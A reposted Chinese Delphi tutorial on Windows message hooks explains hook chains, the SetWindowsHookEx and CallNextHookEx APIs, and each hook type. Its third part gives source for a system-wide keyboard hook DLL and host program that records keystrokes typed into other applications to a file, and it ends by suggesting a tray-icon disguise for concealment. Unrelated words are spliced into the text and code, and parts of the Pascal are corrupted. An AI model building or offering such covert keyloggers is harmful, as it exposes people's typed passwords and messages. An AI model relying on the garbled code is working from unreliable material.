Delphi-关于钩子函数HOOK(一)

Delphi-关于钩⼦函数HOOK(⼀)
基本概念
钩⼦(Hook),是Windows消息处理机制的⼀个平台,应⽤程序可以在上⾯设置⼦程以监视指定窗⼝的某种消息,
⽽且所监视的窗⼝可以是其他进程所创建的。当消息到达后,在⽬标窗⼝处理函数之前处理它。钩⼦机制允
许应⽤程序截获处理window消息或特定事件。
钩⼦实际上是⼀个处理消息的程序段,通过系统调⽤,把它挂⼊系统。每当特定的消息发出,在没有到达⽬的
窗⼝前,钩⼦程序就先捕获该消息,亦即钩⼦函数先得到控制权。这时钩⼦函数即可以加⼯处理(改变)该消息,
也可以不作处理⽽继续传递该消息,还可以强制结束消息的传递。
运⾏机制
1、钩⼦链表和钩⼦⼦程:
每⼀个Hook都有⼀个与之相关联的指针列表,称之为钩⼦链表,由系统来维护。这个列表的指针指向指定的,
应⽤程序定义的,被Hook⼦程调⽤的回调函数,也就是该钩⼦的各个处理⼦程。当与指定的Hook类型关联的
消息发⽣时,系统就把这个消息传递到Hook⼦程。⼀些Hook⼦程可以只监视消息,或者修改消息,或者停⽌
消息的前进,避免这些消息传递到下⼀个Hook⼦程或者⽬的窗⼝。最近安装的钩⼦放在链的开始,⽽最早安
装的钩⼦放在最后,也就是后加⼊的先获得控制权。
Windows 并不要求钩⼦⼦程的卸载顺序⼀定得和安装顺序相反。每当有⼀个钩⼦被卸载,Windows 便释放其
占⽤的内存,并更新整个Hook链表。如果程序安装了钩⼦,但是在尚未卸载钩⼦之前就结束了,那么系统会
⾃动为它做卸载钩⼦的操作。
钩⼦⼦程是⼀个应⽤程序定义的回调函数(CALLBACK Function),不能定义成某个类的成员函数,只能定义为
普通的C函数。⽤以监视系统或某⼀特定类型的事件,这些事件可以是与某⼀特定线程关联的,也可以是系
统中所有线程的事件。
钩⼦⼦程必须按照以下的语法:
LRESULT CALLBACK HookProc
(
int nCode,
WPARAM wParam,
LPARAM lParam
切筋);
HookProc是应⽤程序定义的名字。
nCode参数是Hook代码,Hook⼦程使⽤这个参数来确定任务。这个参数的值依赖于Hook类型,每⼀种Hook都有⾃
⼰的Hook代码特征字符集。
wParam和lParam参数的值依赖于Hook代码,但是它们的典型值是包含了关于发送或者接收消息的信息。
2、钩⼦的安装与释放:
使⽤API函数SetWindowsHookEx()把⼀个应⽤程序定义的钩⼦⼦程安装到钩⼦链表中。SetWindowsHookEx函数总
是在Hook链的开头安装Hook⼦程。当指定类型的Hook监视的事件发⽣时,系统就调⽤与这个Hook关联的Hook链的
开头的Hook⼦程。每⼀个Hook链中的Hook⼦程都决定是否把这个事件传递到下⼀个Hook⼦程。Hook⼦程传递事件
到下⼀个Hook⼦程需要调⽤CallNextHookEx函数。
HHOOK SetWindowsHookEx(
     int idHook, // 钩⼦的类型,即它处理的消息类型
     HOOKPROC lpfn, // 钩⼦⼦程的地址指针。如果dwThreadId参数为0
// 或是⼀个由别的进程创建的线程的标识,
// lpfn必须指向DLL中的钩⼦⼦程。
// 除此以外,lpfn可以指向当前进程的⼀段钩⼦⼦程代码。
// 钩⼦函数的⼊⼝地址,当钩⼦钩到任何消息后便调⽤这个函数。
     HINSTANCE hMod, // 应⽤程序实例的句柄。标识包含lpfn所指的⼦程的
DLL。
// 如果dwThreadId 标识当前进程创建的⼀个线程,
// ⽽且⼦程代码位于当前进程,hMod必须为NULL。
// 可以很简单的设定其为本应⽤程序的实例句柄。
     DWORD dwThreadId // 与安装的钩⼦⼦程相关联的线程的标识符。
// 如果为0,钩⼦⼦程与所有的线程关联,即为全局钩⼦。
      );
  函数成功则返回钩⼦⼦程的句柄,失败返回NULL。
  以上所说的钩⼦⼦程与线程相关联是指在⼀钩⼦链表中发给该线程的消息同时发送给钩⼦⼦程,且被钩⼦⼦程先处理。在钩⼦⼦程中调⽤得到控制权的钩⼦函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调⽤另外
⼀个SDK中的API函数CallNextHookEx来传递它,以执⾏钩⼦链表所指的下⼀个钩⼦⼦程。这个函数成功时返回钩⼦
链中下⼀个钩⼦过程的返回值,返回值的类型依赖于钩⼦的类型。这个函数的原型如下:
LRESULT CallNextHookEx
(
HHOOK hhk;
int nCode;
WPARAM wParam;
LPARAM lParam;
);
hhk为当前钩⼦的句柄,由SetWindowsHookEx()函数返回。
NCode为传给钩⼦过程的事件代码。
wParam和lParam 分别是传给钩⼦⼦程的wParam值,其具体含义与钩⼦类型有关。
钩⼦函数也可以通过直接返回TRUE来丢弃该消息,并阻⽌该消息的传递。否则的话,其他安装了钩⼦的应⽤程序将
不会接收到钩⼦的通知⽽且还有可能产⽣不正确的结果。
钩⼦在使⽤完之后需要⽤UnHookWindowsHookEx()卸载,否则会造成⿇烦。释放钩⼦⽐较简单,UnHookWindowsHookEx()只有⼀个参数。函数原型如下:
UnHookWindowsHookEx
(
HHOOK hhk;
);
函数成功返回TRUE,否则返回FALSE。
3、⼀些运⾏机制:
在Win16环境中,DLL的全局数据对每个载⼊它的进程来说都是相同的;⽽在Win32环境中,情况却发
⽣了变化,
DLL函数中的代码所创建的任何对象(包括变量)都归调⽤它的线程或进程所有。当进程在载⼊DLL时,操作系统⾃
动把DLL地址映射到该进程的私有空间,也就是进程的虚拟地址空间,⽽且也复制该DLL的全局数据的⼀份拷贝到该
进程空间。也就是说每个进程所拥有的相同的DLL的全局数据,它们的名称相同,但其值却并不⼀定是相同的,
⽽且是互不⼲涉的。
因此,在Win32环境下要想在多个进程中共享数据,就必须进⾏必要的设置。在访问同⼀个Dll的各进程之间共享存
储器是通过存储器映射⽂件技术实现的。也可以把这些需要共享的数据分离出来,放置在⼀个独⽴的数据段⾥,
并把该段的属性设置为共享。必须给这些变量赋初值,否则编译器会把没有赋初始值的变量放在⼀个叫未被初
始化的数据段中。
#pragma data_seg预处理指令⽤于设置共享数据段。例如:
#pragma data_seg("SharedDataName")
HHOOK hHook=NULL;
#pragma data_seg()
在#pragma data_seg("SharedDataName")和#pragma data_seg()之间的所有变量将被访问该Dll的所有进程看到
和共享。再加上⼀条指令#pragma comment(linker,"/section:.SharedDataName,rws"),那么这个数据节中的数
据可以在所有DLL的实例之间共享。所有对这些数据的操作都针对同⼀个实例的,⽽不是在每个进程的地址空间中都有⼀份。当进程隐式或显式调⽤⼀个动态库⾥的函数时,系统都要把这个动态库映射到这个进程的虚拟地址空间⾥(以下
简称"地址空间")。这使得DLL成为进程的⼀部分,以这个进程的⾝份执⾏,使⽤这个进程的堆栈。
4、系统钩⼦与线程钩⼦:
SetWindowsHookEx()函数的最后⼀个参数决定了此钩⼦是系统钩⼦还是线程钩⼦。
线程勾⼦⽤于监视指定线程的事件消息。线程勾⼦⼀般在当前线程或者当前线程派⽣的线程内。
系统勾⼦监视系统中的所有线程的事件消息。因为系统勾⼦会影响系统中所有的应⽤程序,所以勾⼦函数必须
放在独⽴的动态链接库(DLL) 中。系统⾃动将包含"钩⼦回调函数"的DLL映射到受钩⼦函数影响的所有进程的地
址空间中,即将这个DLL注⼊了那些进程。
⼏点说明:
(1)如果对于同⼀事件(如⿏标消息)既安装了线程勾⼦⼜安装了系统勾⼦,那么系统会⾃动先调⽤线程勾⼦,
然后调⽤系统勾⼦。
(2)对同⼀事件消息可安装多个勾⼦处理过程,这些勾⼦处理过程形成了勾⼦链。当前勾⼦处理结束后应把勾
⼦信息传递给下⼀个勾⼦函数。
(3)勾⼦特别是系统勾⼦会消耗消息处理时间,降低系统性能。只有在必要的时候才安装勾⼦,在使⽤完毕后要及时卸载。
钩⼦类型
每⼀种类型的Hook可以使应⽤程序能够监视不同类型的系统消息处理机制。下⾯描述所有可以利⽤的Hook类型。
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks
WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗⼝过程的消息。系统在消息发送到接收窗⼝过程之前调⽤WH_CALLWNDPROC Hook⼦程,并且在窗⼝过程处理完消息之后调⽤WH_CALLWNDPROCRET Hook⼦程。WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook⼦程。
CWPRETSTRUCT结构包含了来⾃处理消息的窗⼝过程的返回值,同样也包括了与这个消息关联的消息参数。
2、WH_CBT Hook
在以下事件之前,系统都会调⽤WH_CBT Hook⼦程,这些事件包括:
1. 激活,建⽴,销毁,最⼩化,最⼤化,移动,改变尺⼨等窗⼝事件;
2. 完成系统指令;
3. 来⾃系统消息队列中的移动⿏标,键盘事件;
4. 设置输⼊焦点事件;
5. 同步系统消息队列事件。
Hook⼦程的返回值确定系统是否允许或者防⽌这些操作中的⼀个。
3、WH_DEBUG Hook
在系统调⽤系统中与其他Hook关联的Hook⼦程之前,系统会调⽤WH_DEBUG Hook⼦程。你可以使⽤这个Hook来决
定是否允许系统调⽤与其他Hook关联的Hook⼦程。
4、WH_FOREGROUNDIDLE Hook
当应⽤程序的前台线程处于空闲状态时,可以使⽤WH_FOREGROUNDIDLE Hook执⾏低优先级的任务。当应⽤程序的
前台线程⼤概要变成空闲状态时,系统就会调⽤WH_FOREGROUNDIDLE Hook⼦程。
5、WH_GETMESSAGE Hook
应⽤程序使⽤WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。你可以使⽤
WH_GETMESSAGE Hook去监视⿏标和键盘输⼊,以及其他发送到消息队列中的消息。
6、WH_JOURNALPLAYBACK Hook
WH_JOURNALPLAYBACK Hook使应⽤程序可以插⼊消息到系统消息队列。可以使⽤这个Hook回放通过使⽤
WH_JOURNALRECORD Hook记录下来的连续的⿏标和键盘事件。只要WH_JOURNALPLAYBACK Hook已经安装,
正常的⿏标和键盘事件就是⽆效的。
WH_JOURNALPLAYBACK Hook是全局Hook,它不能象线程特定Hook⼀样使⽤。
WH_JOURNALPLAYBACK Hook返回超时值,这个值告诉系统在处理来⾃回放Hook当前消息之前需要等待多长
时间(毫秒)。这就使Hook可以控制实时事件的回放。
WH_JOURNALPLAYBACK是system-wide local hooks,它們不會被注射到任何⾏程位址空間。
7、WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook⽤来监视和记录输⼊事件。典型的,可以使⽤这个Hook记录连续的⿏标和键盘事件,
然后通过使⽤WH_JOURNALPLAYBACK Hook来回放。
WH_JOURNALRECORD Hook是全局Hook,它不能象线程特定Hook⼀样使⽤。
WH_JOURNALRECORD是system-wide local hooks,它們不會被注射到任何⾏程位址空間。
8、WH_KEYBOARD Hook
在应⽤程序中,WH_KEYBOARD Hook⽤来监视WM_KEYDOWN and WM_KEYUP消息,这些消息通过
GetMessage or PeekMessage function返回。可以使⽤这个Hook来监视输⼊到消息队列中的键盘消息。
9、WH_KEYBOARD_LL Hook
WH_KEYBOARD_LL Hook监视输⼊到线程消息队列中的键盘消息。
10、WH_MOUSE Hook
WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的⿏标消息。使⽤这个Hook监
视输⼊
到消息队列中的⿏标消息。
11、WH_MOUSE_LL Hook
WH_MOUSE_LL Hook监视输⼊到线程消息队列中的⿏标消息。
12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以监视菜单,滚动条,消息框,对话框消息并且发现
⽤户使⽤ALT+TAB or ALT+ESC 组合键切换窗⼝。WH_MSGFILTER Hook只能监视传递到菜单,滚动条,
消息框的消息,以及传递到通过安装了Hook⼦程的应⽤程序建⽴的对话框的消息。
红外光通讯WH_SYSMSGFILTER Hook监视所有应⽤程序消息。
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以在模式循环期间过滤消息,这等价于在
主消息循环中过滤消息。通过调⽤CallMsgFilter function可以直接的调⽤WH_MSGFILTER Hook。通过使⽤这个函数,
应⽤程序能够在模式循环期间使⽤相同的代码去过滤消息,如同在主消息循环⾥⼀样。
13、WH_SHELL Hook
外壳应⽤程序可以使⽤WH_SHELL Hook去接收重要的通知。当外壳应⽤程序是激活的并且当顶层
窗⼝建⽴或者销毁时,系统调⽤WH_SHELL Hook⼦程。
WH_SHELL 共有5钟情況:
1. 只要有个top-level、unowned 窗⼝被产⽣、起作⽤、或是被摧毁;
2. 当Taskbar需要重画某个按钮;
3. 当系统需要显⽰关于Taskbar的⼀个程序的最⼩化形式;
4. 当⽬前的键盘布局状态改变;
5. 当使⽤者按Ctrl+Esc去执⾏Task Manager(或相同级别的程序)。
压水堆核电厂的运行按照惯例,外壳应⽤程序都不接收WH_SHELL消息。所以,在应⽤程序能够接收WH_SHELL消息之前,
应⽤程序必须调⽤SystemParametersInfo function注册它⾃⼰。
Delphi - 关于钩⼦函数HOOK (2)
消息钩⼦函数⼊门篇
Windows系统是建⽴在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。
⽽钩⼦是Windows系统中⾮常重要的系统接⼝,⽤它可以截获并处理送给其他应⽤程序的消息,
来完成普通应⽤程序难以实现的功能。钩⼦可以监视系统或进程中的各种事件消息,截获发往
⽬标窗⼝的消息并进⾏处理。这样,我们就可以在系统中安装⾃定义的钩⼦,监视系统中特定
事件的发⽣,完成特定的功能,⽐如截获键盘、⿏标的输⼊,屏幕取词,⽇志监视等等。可见,
利⽤钩⼦可以实现许多特殊⽽有⽤的功能。因此,对于⾼级编程⼈员来说,掌握钩⼦的编程⽅法是很有必要的。
钩⼦的类型
  ⼀.按事件分类,有如下的⼏种常⽤类型
  (1)键盘钩⼦和低级键盘钩⼦可以监视各种键盘消息。
  (2)⿏标钩⼦和低级⿏标钩⼦可以监视各种⿏标消息。
  (3)外壳钩⼦可以监视各种Shell事件消息。⽐如启动和关闭应⽤程序。
  (4)⽇志钩⼦可以记录从系统消息队列中取出的各种事件消息。
  (5)窗⼝过程钩⼦监视所有从系统消息队列发往⽬标窗⼝的消息。
  此外,还有⼀些特定事件的钩⼦提供给我们使⽤,不⼀⼀列举。
下⾯描述常⽤的Hook类型:
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks
WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗⼝过程的消息。系统在消息
发送到接收窗⼝过程之前调⽤WH_CALLWNDPROC Hook⼦程,并且在窗⼝过程处理完消息之后调⽤
WH_CALLWNDPRO CRET Hook⼦程。WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传
递到Hook⼦程。CWPRETSTRUCT结构包含了来⾃处理消息的窗⼝过程的返回值,同样也包括了与
这个消息关联的消息参数。
在以下事件之前,系统都会调⽤WH_CBT Hook⼦程,这些事件包括:
1. 激活,建⽴,销毁,最⼩化,最⼤化,移动,改变尺⼨等窗⼝事件;
2. 完成系统指令;
3. 来⾃系统消息队列中的移动⿏标,键盘事件;
4. 设置输⼊焦点事件;
5. 同步系统消息队列事件。
Hook⼦程的返回值确定系统是否允许或者防⽌这些操作中的⼀个。
3、WH_DEBUG Hook
在系统调⽤系统中与其他Hook关联的Hook⼦程之前,系统会调⽤WH_DEBUG Hook⼦程。
你可以使⽤这个Hook来决定是否允许系统调⽤与其他Hook关联的Hook⼦程。
4、WH_FOREGROUNDIDLE Hook
当应⽤程序的前台线程处于空闲状态时,可以使⽤WH_FOREGROUNDIDLE Hook执⾏低优先级的任务。
当应⽤程序的前台线程⼤概要变成空闲状态时,系统就会调⽤WH_FOREGROUNDIDLE Hook⼦程。
5、WH_GETMESSAGE Hook
应⽤程序使⽤WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。
你可以使⽤WH_GETMESSAGE Hook去监视⿏标和键盘输⼊,以及其他发送到消息队列中的消息。
6、WH_JOURNALPLAYBACK Hook
WH_JOURNALPLAYBACK Hook使应⽤程序可以插⼊消息到系统消息队列。可以使⽤这个Hook回放通过
使⽤WH_JOURNALRECORD Hook记录下来的连续的⿏标和键盘事件。只要WH_JOURNALPLAYBACK Hook已经安装,
正常的⿏标和键盘事件就是⽆效的。WH_JOURNALPLAYBACK Hook是全局Hook,它不能象线程特定Hook⼀样使⽤。
WH_JOURNALPLAYBACK Hook返回超时值,这个值告诉系统在处理来⾃回放Hook当前消息之前需要等待多长眉笔刀
时间(毫秒)。这就使Hook可以控制实时事件的回放。WH_JOURNALPLAYBACK是system-wide local hooks,
它們不會被注射到任何⾏程位址空間。(估计按键精灵是⽤这个hook做的)
7、WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook⽤来监视和记录输⼊事件。典型的,可以使⽤这个Hook记录连续的⿏标和键盘事件,
然后通过使⽤WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD Hook是全局Hook,它不能象线程特定Hook⼀样使⽤。WH_JOURNALRECORD是system-wide local hooks,它們不會被注射到任何⾏程位址空間。
8、WH_KEYBOARD Hook
在应⽤程序中,WH_KEYBOARD Hook⽤来监视WM_KEYDOWN and WM_KEYUP消息,这些消息通过
GetMessage or PeekMessage function返回。可以使⽤这个Hook来监视输⼊到消息队列中的键盘消息。
9、WH_KEYBOARD_LL Hook
WH_KEYBOARD_LL Hook监视输⼊到线程消息队列中的键盘消息。
10、WH_MOUSE Hook
WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的⿏标消息。
使⽤这个Hook监视输⼊到消息队列中的⿏标消息。
11、WH_MOUSE_LL Hook
WH_MOUSE_LL Hook监视输⼊到线程消息队列中的⿏标消息。
12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以监视菜单,滚动条,消息框,对话框消息并且发现⽤
户使⽤ALT+TAB or ALT+ESC 组合键切换窗⼝。WH_MSGFILTER Hook只能监视传递到菜单,滚动条,消息框的消息,
以及传递到通过安装了Hook⼦程的应⽤程序建⽴的对话框的消息。WH_SYSMSGFILTER Hook监视所有应⽤程序消息。
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks使我们可以在模式循环期间过滤消息,这等价于在主消息循环中过滤消息。通过调⽤CallMsgFilter function可以直接的调⽤WH_MSGFILTER Hook。通过使⽤这个函数,应⽤程序能够在模式
循环期间使⽤相同的代码去过滤消息,如同在主消息循环⾥⼀样。
13、WH_SHELL Hook
外壳应⽤程序可以使⽤WH_SHELL Hook去接收重要的通知。当外壳应⽤程序是激活的并且当顶层窗⼝建⽴或者销毁时,
系统调⽤WH_SHELL Hook⼦程。
WH_SHELL 共有5种情況:
1. 只要有个top-level、unowned 窗⼝被产⽣、起作⽤、或是被摧毁;
2. 当Taskbar需要重画某个按钮;
3. 当系统需要显⽰关于Taskbar的⼀个程序的最⼩化形式;
4. 当⽬前的键盘布局状态改变;
5. 当使⽤者按Ctrl+Esc去执⾏Task Manager(或相同级别的程序)。
按照惯例,外壳应⽤程序都不接收WH_SHELL消息。所以,在应⽤程序能够接收WH_SHELL消息之前,
应⽤程序必须调⽤SystemParametersInfo function注册它⾃⼰。
以上是13种常⽤的hook类型!
  ⼆.按使⽤范围分类,主要有线程钩⼦和系统钩⼦
  (1)线程钩⼦监视指定线程的事件消息。
  (2)系统钩⼦监视系统中的所有线程的事件消息。因为系统钩⼦会影响系统中所有的应⽤程序,
所以钩⼦函数必须放在独⽴的动态链接库(DLL)
中。这是系统钩⼦和线程钩⼦很⼤的不同之处。
  ⼏点需要说明的地⽅:
  (1)如果对于同⼀事件(如⿏标消息)既安装了线程钩⼦⼜安装了系统钩⼦,那么系统会⾃动先
调⽤线程钩⼦,然后调⽤系统钩⼦。
  (2)对同⼀事件消息可安装多个钩⼦处理过程,这些钩⼦处理过程形成了钩⼦链。当前钩⼦处理结束后应把钩⼦
信息传递给下⼀个钩⼦函数。⽽且最近安装的钩⼦放在链的开始,⽽最早安装的钩⼦放在最后,也就是后加⼊的先获得控制权。  (3)钩⼦特别是系统钩⼦会消耗消息处理时间,降低系统性能。只有在必要的时候才安装钩⼦,在使⽤完毕后要及时卸载。编写钩⼦程序
  编写钩⼦程序的步骤分为三步:定义钩⼦函数、安装钩⼦和卸载钩⼦。
  1.定义钩⼦函数
  钩⼦函数是⼀种特殊的回调函数。钩⼦监视的特定事件发⽣后,系统会调⽤钩⼦函数进⾏处理。不
同事件的钩⼦函数的形式是各不相同的。下⾯以⿏标钩⼦函数举例说明钩⼦函数的原型:
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)
参数wParam和 lParam包含所钩消息的信息,⽐如⿏标位置、状态,键盘按键等。nCode包含有关消息本⾝的信息,
⽐如是否从消息队列中移出。我们先在钩⼦函数中实现⾃定义的功能,然后调⽤函数 CallNextHookEx.
折叠篮把钩⼦信息传递给钩⼦链的下⼀个钩⼦函数。CallNextHookEx.的原型如下:
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam )
参数 hhk是钩⼦句柄。nCode、wParam和lParam 是钩⼦函数。
当然也可以通过直接返回TRUE来丢弃该消息,就阻⽌了该消息的传递。
2.安装钩⼦
  在程序初始化的时候,调⽤函数SetWindowsHookEx安装钩⼦。其函数原型为:
HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
参数idHook表⽰钩⼦类型,它是和钩⼦函数类型⼀⼀对应的。⽐如,WH_KEYBOARD表⽰安装的是键盘钩⼦,
WH_MOUSE表⽰是⿏标钩⼦等等。
  Lpfn是钩⼦函数的地址。
  HMod是钩⼦函数所在的实例的句柄。对于线程钩⼦,该参数为NULL;对于系统钩⼦,该参数为钩
⼦函数所在的DLL句柄。  dwThreadId 指定钩⼦所监视的线程的线程号。对于全局钩⼦,该参数为NULL。
  SetWindowsHookEx返回所安装的钩⼦句柄。
  3.卸载钩⼦
  当不再使⽤钩⼦时,必须及时卸载。简单地调⽤函数 BOOL UnhookWindowsHookEx( HHOOK hhk)即可。
值得注意的是线程钩⼦和系统钩⼦的钩⼦函数的位置有很⼤的差别。线程钩⼦⼀般在当前线程或者当前线程派⽣的线程内,
⽽系统钩⼦必须放在独⽴的动态链接库中,实现起来要⿇烦⼀些。
Delphi - 关于钩⼦函数HOOK (3)
系统挂钩捕捉键盘操作
在WINDOWS系统下,应⽤程序常常要截获其他程序的消息,并加以处理(例如跟踪键盘或⿏标的按键状况等)。
现在,我们假设在前台进⾏正常操作,在后台利⽤HOOK程序为系统安装⼀个键盘挂钩,当有按键操作时,
系统发给键盘挂钩对应的消息,⽽这些消息被HOOK程序截获,并加以相应的处理,这样就可以监视键盘的使⽤状况了。
  DELPHI提供了强⼤的可视化集成开发环境,它使得在Windows下的应⽤程序开发变得更加⼴泛,
因此我们将⽤DELPHI编写⼀个动态链接库,然后在主程序中加以调⽤以实现系统挂钩的设置。具体步骤如下:
  * ⽤DELPHI创建⼀个使⽤键盘挂钩的动态链接库HK.DLL
  * ⽤DELPHI编写⼀个使⽤上述DLL的可执⾏⽂件HOOK.EXE
  ⼆.实现步骤
  1.创建动态链接库
  * 选择FILE菜单中的NEW选项,选择DLL产⽣⼀个新的模板,保存为HK.DPR
  library HK .
  uses
  SysUtils,
  Classes,
  hkproc in 'hkproc.pas'; //挂钩函数在⽂件中的定义
  exports //DLL的输出函数
  EnableHotKeyHook,
  DisableHotKeyHook;
  begin
  hNextHookProc :=0;
  Assign(f,'c:.txt');//将捕获的键值存⼊C盘的“”⽂件中
  Reset(f); //初始化“”⽂件
  procSaveExit := ExitProc; //DLL释放时解除挂钩
  ExitProc := @HotKeyHookExit;
  end.
  * 选择FILE菜单中的NEW选项,选择UNIT⽣成HKPROC.PAS
  unit hkproc;
  interface
  uses
  Windows,Messages;
  var
  f :file of char;
  c:char;
  i :integer;
  j :integer;
  hNextHookProc : HHook;
  procSaveExit : Pointer;
  function KeyboardHookHandler(iCode : Integer;
  wParam : WPARAM;
  lParam : LPARAM) : LRESULT; stdcall export;
  function EnableHotKeyHook : BOOL export
  function DisableHotKeyHook : BOOL; export
  procedure HotKeyHookExit far
  implementation
  function KeyboardHookHandler(iCode : Integer;
  WParam : WPARAM;
  lParam : LPARAM) : LRESULT stdcall export;
  const
  _KeyPressMask =
80000000  begin  Result:=0;  ifiCode<0then  begin  Result:=CallNextHookEx(hNextHookProc,iCode,  wParam,lParam);  Exit;  end;  if( 10); //返回Shift键的状态
  j:=getkeystate($14); //返回Caps Lock键的状态
  if((j and 1)=1 )then //判断CapsLock是否按下
  begin
  //判断Shift 是否按下
  if ((i and _KeyPressMask)=_KeyPressMask) then
  begin
  if (wparam<65) then //判断是字母键还是数字键
  begin
  c:=chr(wparam-16);
  end
  else
  begin
  c:= chr(wparam+32);
  end;
  end
  else
  begin
  if (wparam<65) then
  begin
  c:=chr(wparam);
  end
  else
  begin
  c:=chr(wparam);
  end;
  end;
  end
  else
  begin
  if ((i and _KeyPressMask)=_KeyPressMask) then
  begin
  if (wparam<65) then
  begin
  c:=chr(wparam-16);
  end
  else
  begin
  c:= chr(wparam);
  end;
  end
  else
  begin
  if (wparam<65) then
  begin
  c:=chr(wparam);
  end
  else
  begin
  c:=chr(wparam+32);
  end;
  end;
  end;
  seek(f,FileSize(f));
  write(f,c); //将捕获的键码存⼊⽂件
  end;
  end;
  function EnableHotKeyHook:BOOL;export;
  begin
  Result:=False;
  if hNextHookProc 0 then exit;
  hNextHookProc:=SetWindowsHookEx(WH_KEYBOARD,
  KeyboardHookHandler,Hinstance,0);
  Result:=hNextHookProc 0
  end;
  function DisableHotKeyHook:BOOL; export;
  begin
  if hNextHookPRoc 0 then
  begin
  UnhookWindowshookEx(hNextHookProc);
  hNextHookProc:=0;
  Messagebeep(0);
  Messagebeep(0);
  end;
  Result:=hNextHookPRoc=0;
  end;
  procedure HotKeyHookExit;
  begin
  if hNextHookProc 0 then DisableHotKeyHook;
  close(f); //关闭⽂件并⾃动解除挂钩
  ExitProc:=procSaveExit;
  end;
  end.
  * 将程序编译后⽣成⼀个名为HK.DLL的动态链接库⽂件并存⼊“c:”⽬录下。
  2.创建调⽤DLL的EXE程序HOOK.EXE
  * 选择FILE菜单中的NEW选项,在New Items窗⼝中,选择Application选项。在窗体Form中,加⼊两个按键,
⼀个定义为挂钩,另⼀个定义为解脱,同时加⼊⼀个⽂本框以提⽰挂钩的设置状况。将Unit1存为“c:.pas”,其相应的代码如下: 
  unit hk;
  interface
  uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;
  type
  TForm1 = class(TForm)叠衣板
  Button1: TButton;
  Button2: TButton;
  Edit1: TEdit;
  procedure Button1Click(Sender: TObject);
  procedure Button2Click(Sender: TObject);
  private
  { Private declarations }
  public
  { Public declarations }
  end;
  var
  Form1: TForm1;
  implementation
  {$R *.DFM}
  function EnableHotKeyHook : BOOL;external 'HK.dll';
  //声明HOOK . DLL中的两函数
  function DisableHotKeyHook :BOOL;external 'HK.dll';
  procedure TForm1.Button1Click(Sender: TObject);
  begin
  if EnableHotKeyHook() then
  begin
  :='设置挂钩'
  end
  end;
  procedure TForm1.Button2Click(Sender: TObject);
  begin
  if DisableHotKeyHook() then
  begin
  edit1.Text :='挂钩解脱'
  end
  end;
  end.
  * 选取Views菜单中的Project Source,将Project1存为“c:.dpr”,其代码如下:
program hook;
  uses
  Forms,
  hk in 'hk.pas' {Form1};
  {$R *.RES}
  begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
  end.
  * 编译⽣成HOOK.EXE 程序并存⼊“c:”⽬录下。预先⽤“记事本”在“c:”⽬录下建⽴CODE.TXT⽂件,
运⾏HOOK程序并单击“挂钩”键,⽂本框提⽰“设置系统挂钩”,这时启动写字板等应⽤程序,所键⼊的字
母和数字将被记录在CODE.TXT⽂件中。
  单击“解脱”键,⽂本框显⽰“挂钩解脱”,程序将停⽌对键盘的捕获。
  点击⽰意图
  三. 结束语
  将上述例⼦稍加改动,就可为系统安装其他类型的挂钩,同时为了增强程序的隐蔽性,可利⽤DELPHI中丰富的控件,
将上述程序运⾏后,只需在屏幕右下部时钟处显⽰⼀个图标,就可以跟踪键盘等系统部件的⼯作状况
了。

本文发布于:2024-09-21 22:42:08,感谢您对本站的认可!

本文链接:https://www.17tex.com/tex/4/104767.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:消息   系统   程序   线程   函数   事件   键盘
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2024 Comsenz Inc.Powered by © 易纺专利技术学习网 豫ICP备2022007602号 豫公网安备41160202000603 站长QQ:729038198 关于我们 投诉建议